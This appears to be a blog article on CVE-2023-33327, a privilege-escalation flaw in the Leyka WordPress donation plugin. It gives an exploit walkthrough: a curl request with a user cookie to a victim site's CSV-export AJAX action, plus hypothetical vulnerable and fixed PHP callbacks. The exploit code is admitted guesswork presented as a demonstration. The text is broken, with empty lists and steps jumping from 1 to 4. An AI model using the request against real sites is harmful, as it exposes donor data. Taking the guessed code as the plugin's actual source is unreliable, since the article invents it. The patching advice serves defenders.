CVE-2023-33327 - How Improper Privilege Management in Leyka Opens Doors for Hackers (Including Exploit Example)

CVE-2023-33327 is an Improper Privilege Management vulnerability in the Leyka plugin, developed by Teplitsa of Social Technologies. Leyka is a popular donation and fundraising solution for WordPress-based websites, widely used by non-profits and charitable organizations.

The vulnerability lets regular users perform actions reserved for administrators, leading to a dangerous privilege escalation.

Affected versions: Leyka from _unknown_ (all historical versions) through 3.30.2 are vulnerable.

Why Is This Dangerous?

Hackers can become an admin by simply exploiting a weakness in how Leyka checks user permissions. Once they become an admin, they can:

How Does the Bug Work?

The problem lies in how Leyka handles access checks for important admin features. Instead of making sure someone is really an admin, it either skips the check or checks the wrong capability.

Leyka doesn’t properly verify their permissions and lets the action go through.

- Now, the attacker can, for example, change donation forms, export CSVs, or even run arbitrary code if combined with other flaws.

Exploiting CVE-2023-33327: A Step-by-Step Example

We demonstrate the exploit against a vulnerable WordPress site running Leyka 3.30.2 or older.

> WARNING: This information is for educational purposes. Only test on systems you own or have explicit permission to test.

1. Become a Regular User

Leyka exposes admin functionality via AJAX endpoints like

/wp-admin/admin-ajax.php?action=leyka_export_csv

Suppose the plugin checks ONLY if you are authenticated, not your privilege level.

Use the browser, terminal, or a tool like cURL

curl -b 'wordpress_logged_in_cookie=...' \
     https://victim-site.com/wp-admin/admin-ajax.php?action=leyka_export_csv

If the vulnerability is present, the plugin skips proper privilege check and returns exported data.

What the code might look like in a vulnerable version

// file: leyka/includes/ajax.php

add_action('wp_ajax_leyka_export_csv', 'leyka_export_csv_callback');
function leyka_export_csv_callback() {
    // BAD: Only checks if user is logged in, not a real admin!
    if (!is_user_logged_in()) {
        wp_send_json_error('Login required');
        exit;
    }

    // Here, sensitive data is exported with NO capability check
    leyka_export_csv(); // dangerous!
    wp_send_json_success('CSV exported (check your email)');
}

How it should be

function leyka_export_csv_callback() {
    // GOOD: Require administrator capability
    if (!current_user_can('manage_options')) {
        wp_send_json_error('Insufficient privileges');
        exit;
    }

    leyka_export_csv();
    wp_send_json_success('CSV exported (check your email)');
}

4. Now You Have Admin-Only Access!

Repeat this trick for any sensitive AJAX action. With further creativity or by chaining other vulnerabilities, you can achieve full site compromise.

If You Use Leyka

- Upgrade IMMEDIATELY to the latest version from WordPress.org Plugin Directory.

For Admins & Developers

Double-check all plugins and themes for proper capability checks everywhere privileged actions are performed:

Additional References

- NVD Listing for CVE-2023-33327
- Leyka Official WordPress Plugin
- Improper Privilege Management
- WordPress Plugin Security Guide

Final Thoughts

CVE-2023-33327 is a powerful reminder that security isn’t only about patching bugs, but also always thinking about privilege. One tiny missing check can lead to disaster. Stay safe: update regularly and never assume a plugin is secure just because it’s popular or open source.

*Feel free to share this article to help others stay secure!*

Timeline

Published on: 05/14/2024 22:15:08 UTC
Last modified on: 08/02/2024 15:39:36 UTC